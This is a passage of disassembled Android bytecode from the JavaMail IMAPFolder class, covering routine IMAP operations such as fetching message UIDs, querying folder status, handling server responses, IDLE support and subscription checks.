0000000E const-string v1, "DEBUG: getStoreProtocol() - borrowing a connection"
00000012 invoke-virtual PrintStream->println(String)V, v0, v1
:18
00000018 iget-object v0, p0, IMAPFolder->store:Store
0000001C check-cast v0, IMAPStore
00000020 invoke-virtual IMAPStore->getStoreProtocol()IMAPProtocol, v0
:26
00000026 move-result-object v0
00000028 monitor-exit p0
0000002A return-object v0
:2C
0000002C move-exception v0
0000002E monitor-exit p0
00000030 throw v0
.catchall {:2 .. :26} :2C
.end method
.method public declared-synchronized getType()I
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-eqz v0, :20
:A
0000000A iget-object v0, p0, IMAPFolder->attributes:[String
0000000E if-nez v0, :18
:12
00000012 invoke-virtual IMAPFolder->exists()Z, p0
:18
00000018 iget v0, p0, IMAPFolder->type:I
:1C
0000001C monitor-exit p0
0000001E return v0
:20
00000020 invoke-direct IMAPFolder->checkExists()V, p0
:26
00000026 goto :18
:28
00000028 move-exception v0
0000002A monitor-exit p0
0000002C throw v0
.catchall {:2 .. :1C} :28
.catchall {:20 .. :26} :28
.end method
.method public declared-synchronized getUID(Message)J
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual Message->getFolder()Folder, p1
00000008 move-result-object v0
0000000A if-eq v0, p0, :24
:E
0000000E new-instance v0, NoSuchElementException
00000012 const-string v1, "Message does not belong to this folder"
00000016 invoke-direct NoSuchElementException-><init>(String)V, v0, v1
0000001C throw v0
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
:24
00000024 invoke-direct IMAPFolder->checkOpened()V, p0
0000002A check-cast p1, IMAPMessage
0000002E invoke-virtual IMAPMessage->getUID()J, p1
:34
00000034 move-result-wide v0
00000036 const-wide/16 v2, 0xFFFFFFFFFFFFFFFF
0000003A cmp-long v2, v0, v2
0000003E if-eqz v2, :46
:42
00000042 monitor-exit p0
00000044 return-wide v0
:46
00000046 iget-object v2, p0, IMAPFolder->messageCacheLock:Object
0000004A monitor-enter v2
:4C
0000004C invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
00000052 move-result-object v3
00000054 invoke-virtual IMAPMessage->checkExpunged()V, p1
0000005A invoke-virtual IMAPMessage->getSequenceNumber()I, p1
00000060 move-result v4
00000062 invoke-virtual IMAPProtocol->fetchUID(I)UID, v3, v4
00000068 move-result-object v3
0000006A if-eqz v3, :A2
:6E
0000006E iget-wide v0, v3, UID->uid:J
00000072 invoke-virtual IMAPMessage->setUID(J)V, p1, v0, v1
00000078 iget-object v3, p0, IMAPFolder->uidTable:Hashtable
0000007C if-nez v3, :8E
:80
00000080 new-instance v3, Hashtable
00000084 invoke-direct Hashtable-><init>()V, v3
0000008A iput-object v3, p0, IMAPFolder->uidTable:Hashtable
:8E
0000008E iget-object v3, p0, IMAPFolder->uidTable:Hashtable
00000092 new-instance v4, Long
00000096 invoke-direct Long-><init>(J)V, v4, v0, v1
0000009C invoke-virtual Hashtable->put(Object, Object)Object, v3, v4, p1
:A2
000000A2 monitor-exit v2
000000A4 goto :42
:A6
000000A6 move-exception v0
000000A8 monitor-exit v2
:AA
000000AA throw v0
:AC
000000AC move-exception v0
:AE
000000AE new-instance v1, FolderClosedException
000000B2 invoke-virtual ConnectionException->getMessage()String, v0
000000B8 move-result-object v0
000000BA invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000C0 throw v1
:C2
000000C2 move-exception v0
000000C4 new-instance v1, MessagingException
000000C8 invoke-virtual ProtocolException->getMessage()String, v0
000000CE move-result-object v3
000000D0 invoke-direct MessagingException-><init>(String, Exception)V, v1, v3, v0
000000D6 throw v1
.catchall {:2 .. :1E} :1E
.catchall {:24 .. :34} :1E
.catchall {:46 .. :4C} :1E
.catch ConnectionException {:4C .. :A2} :AC
.catch ProtocolException {:4C .. :A2} :C2
.catchall {:4C .. :A2} :A6
.catchall {:A2 .. :AA} :A6
.catchall {:AA .. :AC} :1E
.catchall {:AE .. :D8} :A6
.end method
.method public declared-synchronized getUIDNext()J
.registers 6
00000000 const/4 v2, 0x0
00000002 monitor-enter p0
:4
00000004 iget-boolean v0, p0, IMAPFolder->opened:Z
00000008 if-eqz v0, :14
:C
0000000C iget-wide v0, p0, IMAPFolder->uidnext:J
:10
00000010 monitor-exit p0
00000012 return-wide v0
:14
00000014 invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
:1A
0000001A move-result-object v1
0000001C const/4 v0, 0x1
:1E
0000001E new-array v0, v0, [String
00000022 const/4 v3, 0x0
00000024 const-string v4, "UIDNEXT"
00000028 aput-object v4, v0, v3
0000002C iget-object v3, p0, IMAPFolder->fullName:String
00000030 invoke-virtual IMAPProtocol->status(String, [String)Status, v1, v3, v0
:36
00000036 move-result-object v2
:38
00000038 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:3E
0000003E iget-wide v0, v2, Status->uidnext:J
:42
00000042 goto :10
:44
00000044 move-exception v0
00000046 move-object v1, v2
:48
00000048 new-instance v2, MessagingException
0000004C const-string v3, "Cannot obtain UIDNext"
00000050 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000056 throw v2
:58
00000058 move-exception v0
:5A
0000005A invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060 throw v0
:62
00000062 move-exception v0
00000064 monitor-exit p0
00000066 throw v0
:68
00000068 move-exception v0
0000006A move-object v1, v2
:6C
0000006C invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
:72
00000072 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:78
00000078 goto :3E
:7A
0000007A move-exception v0
0000007C move-object v1, v2
:7E
0000007E new-instance v2, MessagingException
00000082 invoke-virtual ProtocolException->getMessage()String, v0
00000088 move-result-object v3
0000008A invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000090 throw v2
:92
00000092 move-exception v0
00000094 move-object v1, v2
00000096 goto :5A
:98
00000098 move-exception v0
0000009A goto :7E
:9C
0000009C move-exception v0
0000009E goto :6C
:A0
000000A0 move-exception v0
000000A2 goto :48
.catchall {:4 .. :10} :62
.catch BadCommandException {:14 .. :1A} :44
.catch ConnectionException {:14 .. :1A} :68
.catch ProtocolException {:14 .. :1A} :7A
.catchall {:14 .. :1A} :92
.catch BadCommandException {:1E .. :36} :A0
.catch ConnectionException {:1E .. :36} :9C
.catch ProtocolException {:1E .. :36} :98
.catchall {:1E .. :36} :58
.catchall {:38 .. :42} :62
.catchall {:48 .. :58} :58
.catchall {:5A .. :62} :62
.catchall {:6C .. :72} :58
.catchall {:72 .. :78} :62
.catchall {:7E .. :92} :58
.end method
.method public declared-synchronized getUIDValidity()J
.registers 6
00000000 const/4 v2, 0x0
00000002 monitor-enter p0
:4
00000004 iget-boolean v0, p0, IMAPFolder->opened:Z
00000008 if-eqz v0, :14
:C
0000000C iget-wide v0, p0, IMAPFolder->uidvalidity:J
:10
00000010 monitor-exit p0
00000012 return-wide v0
:14
00000014 invoke-virtual IMAPFolder->getStoreProtocol()IMAPProtocol, p0
:1A
0000001A move-result-object v1
0000001C const/4 v0, 0x1
:1E
0000001E new-array v0, v0, [String
00000022 const/4 v3, 0x0
00000024 const-string v4, "UIDVALIDITY"
00000028 aput-object v4, v0, v3
0000002C iget-object v3, p0, IMAPFolder->fullName:String
00000030 invoke-virtual IMAPProtocol->status(String, [String)Status, v1, v3, v0
:36
00000036 move-result-object v2
:38
00000038 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:3E
0000003E iget-wide v0, v2, Status->uidvalidity:J
:42
00000042 goto :10
:44
00000044 move-exception v0
00000046 move-object v1, v2
:48
00000048 new-instance v2, MessagingException
0000004C const-string v3, "Cannot obtain UIDValidity"
00000050 invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000056 throw v2
:58
00000058 move-exception v0
:5A
0000005A invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
00000060 throw v0
:62
00000062 move-exception v0
00000064 monitor-exit p0
00000066 throw v0
:68
00000068 move-exception v0
0000006A move-object v1, v2
:6C
0000006C invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
:72
00000072 invoke-virtual IMAPFolder->releaseStoreProtocol(IMAPProtocol)V, p0, v1
:78
00000078 goto :3E
:7A
0000007A move-exception v0
0000007C move-object v1, v2
:7E
0000007E new-instance v2, MessagingException
00000082 invoke-virtual ProtocolException->getMessage()String, v0
00000088 move-result-object v3
0000008A invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v0
00000090 throw v2
:92
00000092 move-exception v0
00000094 move-object v1, v2
00000096 goto :5A
:98
00000098 move-exception v0
0000009A goto :7E
:9C
0000009C move-exception v0
0000009E goto :6C
:A0
000000A0 move-exception v0
000000A2 goto :48
.catchall {:4 .. :10} :62
.catch BadCommandException {:14 .. :1A} :44
.catch ConnectionException {:14 .. :1A} :68
.catch ProtocolException {:14 .. :1A} :7A
.catchall {:14 .. :1A} :92
.catch BadCommandException {:1E .. :36} :A0
.catch ConnectionException {:1E .. :36} :9C
.catch ProtocolException {:1E .. :36} :98
.catchall {:1E .. :36} :58
.catchall {:38 .. :42} :62
.catchall {:48 .. :58} :58
.catchall {:5A .. :62} :62
.catchall {:6C .. :72} :58
.catchall {:72 .. :78} :62
.catchall {:7E .. :92} :58
.end method
.method public declared-synchronized getUnreadMessageCount()I
.registers 6
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, IMAPFolder->opened:Z
00000006 if-nez v0, :5C
:A
0000000A invoke-direct IMAPFolder->checkExists()V, p0
:10
00000010 invoke-direct IMAPFolder->getStatus()Status, p0
00000016 move-result-object v0
00000018 iget v0, v0, Status->unseen:I
:1C
0000001C monitor-exit p0
0000001E return v0
:20
00000020 move-exception v0
00000022 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000024 goto :1C
:26
00000026 move-exception v0
:28
00000028 new-instance v1, StoreClosedException
0000002C iget-object v2, p0, IMAPFolder->store:Store
00000030 invoke-virtual ConnectionException->getMessage()String, v0
00000036 move-result-object v0
00000038 invoke-direct StoreClosedException-><init>(Store, String)V, v1, v2, v0
0000003E throw v1
:40
00000040 move-exception v0
00000042 monitor-exit p0
00000044 throw v0
:46
00000046 move-exception v0
:48
00000048 new-instance v1, MessagingException
0000004C invoke-virtual ProtocolException->getMessage()String, v0
00000052 move-result-object v2
00000054 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000005A throw v1
:5C
0000005C new-instance v0, Flags
00000060 invoke-direct Flags-><init>()V, v0
00000066 sget-object v1, Flags$Flag->SEEN:Flags$Flag
0000006A invoke-virtual Flags->add(Flags$Flag)V, v0, v1
:70
00000070 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000074 monitor-enter v1
:76
00000076 invoke-direct IMAPFolder->getProtocol()IMAPProtocol, p0
0000007C move-result-object v2
0000007E new-instance v3, FlagTerm
00000082 const/4 v4, 0x0
00000084 invoke-direct FlagTerm-><init>(Flags, Z)V, v3, v0, v4
0000008A invoke-virtual IMAPProtocol->search(SearchTerm)[I, v2, v3
00000090 move-result-object v0
00000092 array-length v0, v0
00000094 monitor-exit v1
00000096 goto :1C
:98
00000098 move-exception v0
0000009A monitor-exit v1
:9C
0000009C throw v0
:9E
0000009E move-exception v0
:A0
000000A0 new-instance v1, FolderClosedException
000000A4 invoke-virtual ConnectionException->getMessage()String, v0
000000AA move-result-object v0
000000AC invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
000000B2 throw v1
:B4
000000B4 move-exception v0
000000B6 new-instance v1, MessagingException
000000BA invoke-virtual ProtocolException->getMessage()String, v0
000000C0 move-result-object v2
000000C2 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000C8 throw v1
.catchall {:2 .. :10} :40
.catch BadCommandException {:10 .. :1C} :20
.catch ConnectionException {:10 .. :1C} :26
.catch ProtocolException {:10 .. :1C} :46
.catchall {:10 .. :1C} :40
.catchall {:28 .. :40} :40
.catchall {:48 .. :70} :40
.catch ConnectionException {:70 .. :76} :9E
.catch ProtocolException {:70 .. :76} :B4
.catchall {:70 .. :76} :40
.catchall {:76 .. :9C} :98
.catch ConnectionException {:9C .. :9E} :9E
.catch ProtocolException {:9C .. :9E} :B4
.catchall {:9C .. :9E} :40
.catchall {:A0 .. :CA} :40
.end method
.method public handleResponse(Response)V
.registers 8
00000000 const/4 v5, 0x1
00000002 const/4 v2, 0x0
00000004 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000008 if-nez v0, :28
:C
0000000C iget-object v0, p0, IMAPFolder->messageCacheLock:Object
00000010 invoke-static Thread->holdsLock(Object)Z, v0
00000016 move-result v0
00000018 if-nez v0, :28
:1C
0000001C new-instance v0, AssertionError
00000020 invoke-direct AssertionError-><init>()V, v0
00000026 throw v0
:28
00000028 invoke-virtual Response->isOK()Z, p1
0000002E move-result v0
00000030 if-nez v0, :58
:34
00000034 invoke-virtual Response->isNO()Z, p1
0000003A move-result v0
0000003C if-nez v0, :58
:40
00000040 invoke-virtual Response->isBAD()Z, p1
00000046 move-result v0
00000048 if-nez v0, :58
:4C
0000004C invoke-virtual Response->isBYE()Z, p1
00000052 move-result v0
00000054 if-eqz v0, :66
:58
00000058 iget-object v0, p0, IMAPFolder->store:Store
0000005C check-cast v0, IMAPStore
00000060 invoke-virtual IMAPStore->handleResponseCode(Response)V, v0, p1
:66
00000066 invoke-virtual Response->isBYE()Z, p1
0000006C move-result v0
0000006E if-eqz v0, :82
:72
00000072 iget-boolean v0, p0, IMAPFolder->opened:Z
00000076 if-eqz v0, :80
:7A
0000007A invoke-direct IMAPFolder->cleanup(Z)V, p0, v2
:80
00000080 return-void
:82
00000082 invoke-virtual Response->isOK()Z, p1
00000088 move-result v0
0000008A if-nez v0, :80
:8E
0000008E invoke-virtual Response->isUnTagged()Z, p1
00000094 move-result v0
00000096 if-eqz v0, :80
:9A
0000009A instance-of v0, p1, IMAPResponse
0000009E if-nez v0, :E2
:A2
000000A2 iget-object v0, p0, IMAPFolder->out:PrintStream
000000A6 new-instance v1, StringBuilder
000000AA const-string v2, "UNEXPECTED RESPONSE : "
000000AE invoke-direct StringBuilder-><init>(String)V, v1, v2
000000B4 invoke-virtual Response->toString()String, p1
000000BA move-result-object v2
000000BC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000C2 move-result-object v1
000000C4 invoke-virtual StringBuilder->toString()String, v1
000000CA move-result-object v1
000000CC invoke-virtual PrintStream->println(String)V, v0, v1
000000D2 iget-object v0, p0, IMAPFolder->out:PrintStream
000000D6 const-string v1, "CONTACT javamail@sun.com"
000000DA invoke-virtual PrintStream->println(String)V, v0, v1
000000E0 goto :80
:E2
000000E2 check-cast p1, IMAPResponse
000000E6 const-string v0, "EXISTS"
000000EA invoke-virtual IMAPResponse->keyEquals(String)Z, p1, v0
000000F0 move-result v0
000000F2 if-eqz v0, :156
:F6
000000F6 invoke-virtual IMAPResponse->getNumber()I, p1
000000FC move-result v0
000000FE iget v1, p0, IMAPFolder->realTotal:I
00000102 if-le v0, v1, :80
:106
00000106 iget v1, p0, IMAPFolder->realTotal:I
0000010A sub-int v1, v0, v1
0000010E new-array v3, v1, [Message
00000112 move v0, v2
:114
00000114 if-lt v0, v1, :120
:118
00000118 invoke-virtual IMAPFolder->notifyMessageAddedListeners([Message)V, p0, v3
0000011E goto :80
:120
00000120 new-instance v2, IMAPMessage
00000124 iget v4, p0, IMAPFolder->total:I
00000128 add-int/lit8 v4, v4, 0x1
0000012C iput v4, p0, IMAPFolder->total:I
00000130 iget v5, p0, IMAPFolder->realTotal:I
00000134 add-int/lit8 v5, v5, 0x1
00000138 iput v5, p0, IMAPFolder->realTotal:I
0000013C invoke-direct IMAPMessage-><init>(IMAPFolder, I, I)V, v2, p0, v4, v5
00000142 aput-object v2, v3, v0
00000146 iget-object v4, p0, IMAPFolder->messageCache:Vector
0000014A invoke-virtual Vector->addElement(Object)V, v4, v2
00000150 add-int/lit8 v0, v0, 0x1
00000154 goto :114
:156
00000156 const-string v0, "EXPUNGE"
0000015A invoke-virtual IMAPResponse->keyEquals(String)Z, p1, v0
00000160 move-result v0
00000162 if-eqz v0, :1EC
:166
00000166 invoke-virtual IMAPResponse->getNumber()I, p1
0000016C move-result v0
0000016E invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v0
00000174 move-result-object v3
00000176 invoke-virtual IMAPMessage->setExpunged(Z)V, v3, v5
0000017C invoke-virtual IMAPMessage->getMessageNumber()I, v3
00000182 move-result v0
00000184 move v1, v0
:186
00000186 iget v0, p0, IMAPFolder->total:I
0000018A if-lt v1, v0, :1B4
:18E
0000018E iget v0, p0, IMAPFolder->realTotal:I
00000192 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000196 iput v0, p0, IMAPFolder->realTotal:I
0000019A iget-boolean v0, p0, IMAPFolder->doExpungeNotification:Z
0000019E if-eqz v0, :80
:1A2
000001A2 new-array v0, v5, [Message
000001A6 aput-object v3, v0, v2
000001AA invoke-virtual IMAPFolder->notifyMessageRemovedListeners(Z, [Message)V, p0, v2, v0
000001B0 goto/16 :80
:1B4
000001B4 iget-object v0, p0, IMAPFolder->messageCache:Vector
000001B8 invoke-virtual Vector->elementAt(I)Object, v0, v1
000001BE move-result-object v0
000001C0 check-cast v0, IMAPMessage
000001C4 invoke-virtual IMAPMessage->isExpunged()Z, v0
000001CA move-result v4
000001CC if-eqz v4, :1D8
:1D0
000001D0 add-int/lit8 v0, v1, 0x1
000001D4 move v1, v0
000001D6 goto :186
:1D8
000001D8 invoke-virtual IMAPMessage->getSequenceNumber()I, v0
000001DE move-result v4
000001E0 add-int/lit8 v4, v4, 0xFFFFFFFFFFFFFFFF
000001E4 invoke-virtual IMAPMessage->setSequenceNumber(I)V, v0, v4
000001EA goto :1D0
:1EC
000001EC const-string v0, "FETCH"
000001F0 invoke-virtual IMAPResponse->keyEquals(String)Z, p1, v0
000001F6 move-result v0
000001F8 if-eqz v0, :258
:1FC
000001FC sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000200 if-nez v0, :21C
:204
00000204 instance-of v0, p1, FetchResponse
00000208 if-nez v0, :21C
:20C
0000020C new-instance v0, AssertionError
00000210 const-string v1, "!ir instanceof FetchResponse"
00000214 invoke-direct AssertionError-><init>(Object)V, v0, v1
0000021A throw v0
:21C
0000021C check-cast p1, FetchResponse
00000220 const-class v0, Flags
00000224 invoke-virtual FetchResponse->getItem(Class)Item, p1, v0
0000022A move-result-object v0
0000022C check-cast v0, Flags
00000230 if-eqz v0, :80
:234
00000234 invoke-virtual FetchResponse->getNumber()I, p1
0000023A move-result v1
0000023C invoke-virtual IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, p0, v1
00000242 move-result-object v1
00000244 if-eqz v1, :80
:248
00000248 invoke-virtual IMAPMessage->_setFlags(Flags)V, v1, v0
0000024E invoke-virtual IMAPFolder->notifyMessageChangedListeners(I, Message)V, p0, v5, v1
00000254 goto/16 :80
:258
00000258 const-string v0, "RECENT"
0000025C invoke-virtual IMAPResponse->keyEquals(String)Z, p1, v0
00000262 move-result v0
00000264 if-eqz v0, :80
:268
00000268 invoke-virtual IMAPResponse->getNumber()I, p1
0000026E move-result v0
00000270 iput v0, p0, IMAPFolder->recent:I
00000274 goto/16 :80
.end method
.method handleResponses([Response)V
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 array-length v1, p1
00000004 if-lt v0, v1, :A
:8
00000008 return-void
:A
0000000A aget-object v1, p1, v0
0000000E if-eqz v1, :1C
:12
00000012 aget-object v1, p1, v0
00000016 invoke-virtual IMAPFolder->handleResponse(Response)V, p0, v1
:1C
0000001C add-int/lit8 v0, v0, 0x1
00000020 goto :2
.end method
.method public declared-synchronized hasNewMessages()Z
.registers 5
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 monitor-enter p0
:6
00000006 iget-boolean v2, p0, IMAPFolder->opened:Z
0000000A if-eqz v2, :66
:E
0000000E iget-object v2, p0, IMAPFolder->messageCacheLock:Object
00000012 monitor-enter v2
:14
00000014 const/4 v3, 0x1
:16
00000016 invoke-direct IMAPFolder->keepConnectionAlive(Z)V, p0, v3
:1C
0000001C iget v3, p0, IMAPFolder->recent:I
00000020 if-lez v3, :62
:24
00000024 monitor-exit v2
:26
00000026 monitor-exit p0
00000028 return v0
:2A
0000002A move-exception v0
:2C
0000002C new-instance v1, FolderClosedException
00000030 invoke-virtual ConnectionException->getMessage()String, v0
00000036 move-result-object v0
00000038 invoke-direct FolderClosedException-><init>(Folder, String)V, v1, p0, v0
0000003E throw v1
:40
00000040 move-exception v0
00000042 monitor-exit v2
:44
00000044 throw v0
:46
00000046 move-exception v0
00000048 monitor-exit p0
0000004A throw v0
:4C
0000004C move-exception v0
:4E
0000004E new-instance v1, MessagingException
00000052 invoke-virtual ProtocolException->getMessage()String, v0
00000058 move-result-object v3
0000005A invoke-direct MessagingException-><init>(String, Exception)V, v1, v3, v0
00000060 throw v1
:62
00000062 move v0, v1
00000064 goto :24
:66
00000066 invoke-direct IMAPFolder->checkExists()V, p0
0000006C new-instance v0, IMAPFolder$7
00000070 invoke-direct IMAPFolder$7-><init>(IMAPFolder)V, v0, p0
00000076 invoke-virtual IMAPFolder->doCommandIgnoreFailure(IMAPFolder$ProtocolCommand)Object, p0, v0
0000007C move-result-object v0
0000007E check-cast v0, Boolean
00000082 if-nez v0, :8A
:86
00000086 move v0, v1
00000088 goto :26
:8A
0000008A invoke-virtual Boolean->booleanValue()Z, v0
:90
00000090 move-result v0
00000092 goto :26
.catchall {:6 .. :14} :46
.catch ConnectionException {:16 .. :1C} :2A
.catch ProtocolException {:16 .. :1C} :4C
.catchall {:16 .. :1C} :40
.catchall {:1C .. :26} :40
.catchall {:2C .. :44} :40
.catchall {:44 .. :46} :46
.catchall {:4E .. :62} :40
.catchall {:66 .. :90} :46
.end method
.method public idle()V
.registers 4
00000000 sget-boolean v0, IMAPFolder->$assertionsDisabled:Z
00000004 if-nez v0, :20
:8
00000008 invoke-static Thread->holdsLock(Object)Z, p0
0000000E move-result v0
00000010 if-eqz v0, :20
:14
00000014 new-instance v0, AssertionError
00000018 invoke-direct AssertionError-><init>()V, v0
0000001E throw v0
:20
00000020 monitor-enter p0
:22
00000022 invoke-direct IMAPFolder->checkOpened()V, p0
00000028 const-string v0, "IDLE not supported"
0000002C new-instance v1, IMAPFolder$19
00000030 invoke-direct IMAPFolder$19-><init>(IMAPFolder)V, v1, p0
00000036 invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
0000003C move-result-object v0
0000003E check-cast v0, Boolean
00000042 invoke-virtual Boolean->booleanValue()Z, v0
00000048 move-result v0
0000004A if-nez v0, :52
:4E
0000004E monitor-exit p0
:50
00000050 return-void
:52
00000052 monitor-exit p0
:54
00000054 iget-object v0, p0, IMAPFolder->protocol:IMAPProtocol
00000058 invoke-virtual IMAPProtocol->readIdleResponse()Response, v0
0000005E move-result-object v0
:60
00000060 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000064 monitor-enter v1
:66
00000066 if-eqz v0, :82
:6A
0000006A iget-object v2, p0, IMAPFolder->protocol:IMAPProtocol
0000006E if-eqz v2, :82
:72
00000072 iget-object v2, p0, IMAPFolder->protocol:IMAPProtocol
00000076 invoke-virtual IMAPProtocol->processIdleResponse(Response)Z, v2, v0
0000007C move-result v0
0000007E if-nez v0, :BC
:82
00000082 const/4 v0, 0x0
00000084 iput v0, p0, IMAPFolder->idleState:I
00000088 iget-object v0, p0, IMAPFolder->messageCacheLock:Object
0000008C invoke-virtual Object->notifyAll()V, v0
00000092 monitor-exit v1
:94
00000094 iget-object v0, p0, IMAPFolder->store:Store
00000098 check-cast v0, IMAPStore
0000009C invoke-virtual IMAPStore->getMinIdleTime()I, v0
000000A2 move-result v0
000000A4 if-lez v0, :50
:A8
000000A8 int-to-long v0, v0
:AA
000000AA invoke-static Thread->sleep(J)V, v0, v1
:B0
000000B0 goto :50
:B2
000000B2 move-exception v0
000000B4 goto :50
:B6
000000B6 move-exception v0
:B8
000000B8 monitor-exit p0
:BA
000000BA throw v0
:BC
000000BC monitor-exit v1
000000BE goto :54
:C0
000000C0 move-exception v0
000000C2 monitor-exit v1
:C4
000000C4 throw v0
:C6
000000C6 move-exception v0
000000C8 invoke-direct IMAPFolder->throwClosedException(ConnectionException)V, p0, v0
000000CE goto :54
:D0
000000D0 move-exception v0
000000D2 new-instance v1, MessagingException
000000D6 invoke-virtual ProtocolException->getMessage()String, v0
000000DC move-result-object v2
000000DE invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
000000E4 throw v1
.catchall {:22 .. :54} :B6
.catch ConnectionException {:60 .. :66} :C6
.catch ProtocolException {:60 .. :66} :D0
.catchall {:6A .. :94} :C0
.catch InterruptedException {:AA .. :B0} :B2
.catchall {:B8 .. :BA} :B6
.catchall {:BC .. :C4} :C0
.catch ConnectionException {:C4 .. :C6} :C6
.catch ProtocolException {:C4 .. :C6} :D0
.end method
.method public declared-synchronized isOpen()Z
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v1, p0, IMAPFolder->messageCacheLock:Object
00000006 monitor-enter v1
:8
00000008 iget-boolean v0, p0, IMAPFolder->opened:Z
:C
0000000C if-eqz v0, :18
:10
00000010 const/4 v0, 0x0
:12
00000012 invoke-direct IMAPFolder->keepConnectionAlive(Z)V, p0, v0
:18
00000018 monitor-exit v1
:1A
0000001A iget-boolean v0, p0, IMAPFolder->opened:Z
:1E
0000001E monitor-exit p0
00000020 return v0
:22
00000022 move-exception v0
:24
00000024 monitor-exit v1
:26
00000026 throw v0
:28
00000028 move-exception v0
0000002A monitor-exit p0
0000002C throw v0
:2E
0000002E move-exception v0
00000030 goto :18
.catchall {:2 .. :8} :28
.catchall {:8 .. :C} :22
.catch ProtocolException {:12 .. :18} :2E
.catchall {:12 .. :18} :22
.catchall {:18 .. :1A} :22
.catchall {:1A .. :1E} :28
.catchall {:24 .. :26} :22
.catchall {:26 .. :28} :28
.end method
.method public declared-synchronized isSubscribed()Z
.registers 5
00000000 monitor-enter p0
00000002 const/4 v1, 0x0
:4
00000004 check-cast v1, [ListInfo
00000008 iget-boolean v2, p0, IMAPFolder->isNamespace:Z
0000000C if-eqz v2, :76
:10
00000010 iget-char v2, p0, IMAPFolder->separator:C
00000014 if-eqz v2, :76
:18
00000018 new-instance v2, StringBuilder
0000001C iget-object v3, p0, IMAPFolder->fullName:String
00000020 invoke-static String->valueOf(Object)String, v3
00000026 move-result-object v3
00000028 invoke-direct StringBuilder-><init>(String)V, v2, v3
0000002E iget-char v3, p0, IMAPFolder->separator:C
00000032 invoke-virtual StringBuilder->append(C)StringBuilder, v2, v3
00000038 move-result-object v2
0000003A invoke-virtual StringBuilder->toString()String, v2
:40
00000040 move-result-object v2
00000042 move-object v3, v2
:44
00000044 new-instance v2, IMAPFolder$4
00000048 invoke-direct IMAPFolder$4-><init>(IMAPFolder, String)V, v2, p0, v3
0000004E invoke-virtual IMAPFolder->doProtocolCommand(IMAPFolder$ProtocolCommand)Object, p0, v2
00000054 move-result-object v2
00000056 move-object v0, v2
00000058 check-cast v0, [ListInfo
0000005C move-object v1, v0
:5E
0000005E if-eqz v1, :7E
:62
00000062 invoke-direct IMAPFolder->findName([ListInfo, String)I, p0, v1, v3
00000068 move-result v2
0000006A aget-object v1, v1, v2
0000006E iget-boolean v1, v1, ListInfo->canOpen:Z
:72
00000072 monitor-exit p0
00000074 return v1
:76
00000076 iget-object v2, p0, IMAPFolder->fullName:String
:7A
0000007A move-object v3, v2
0000007C goto :44
:7E
0000007E const/4 v1, 0x0
00000080 goto :72
:82
00000082 move-exception v1
00000084 monitor-exit p0
00000086 throw v1
:88
00000088 move-exception v2
0000008A goto :5E
.catchall {:4 .. :40} :82
.catch ProtocolException {:44 .. :5E} :88
.catchall {:44 .. :5E} :82
.catchall {:62 .. :72} :82
.catchall {:76 .. :7A} :82
.end method
.method public list(String)[Folder
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct IMAPFolder->doList(String, Z)[Folder, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public listRights(String)[Rights
.registers 4
00000000 const-string v0, "ACL not supported"
00000004 new-instance v1, IMAPFolder$16
00000008 invoke-direct IMAPFolder$16-><init>(IMAPFolder, String)V, v1, p0, p1
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 move-result-object v0
00000016 check-cast v0, [Rights
0000001A return-object v0
.end method
.method public listSubscribed(String)[Folder
.registers 3
00000000 const/4 v0, 0x1
00000002 invoke-direct IMAPFolder->doList(String, Z)[Folder, p0, p1, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public myRights()Rights
.registers 3
00000000 const-string v0, "ACL not supported"
00000004 new-instance v1, IMAPFolder$17
00000008 invoke-direct IMAPFolder$17-><init>(IMAPFolder)V, v1, p0
0000000E invoke-virtual IMAPFolder->doOptionalCommand(String, IMAPFolder$ProtocolCommand)Object, p0, v0, v1
00000014 move-result-object v0
00000016 check-cast v0, Rights
0000001A return-object v0
.end method
.method public declared-synchronized open(I)V
.registers 9
00000000 const/4 v1, 0x0
00000002 const/4 v2, 0x0
00000004 const/4 v5, 0x1
00000006 monitor-enter p0
:8
00000008 invoke-direct IMAPFolder->checkClosed()V, p0
0000000E iget-object v0, p0, IMAPFolder->store:Store
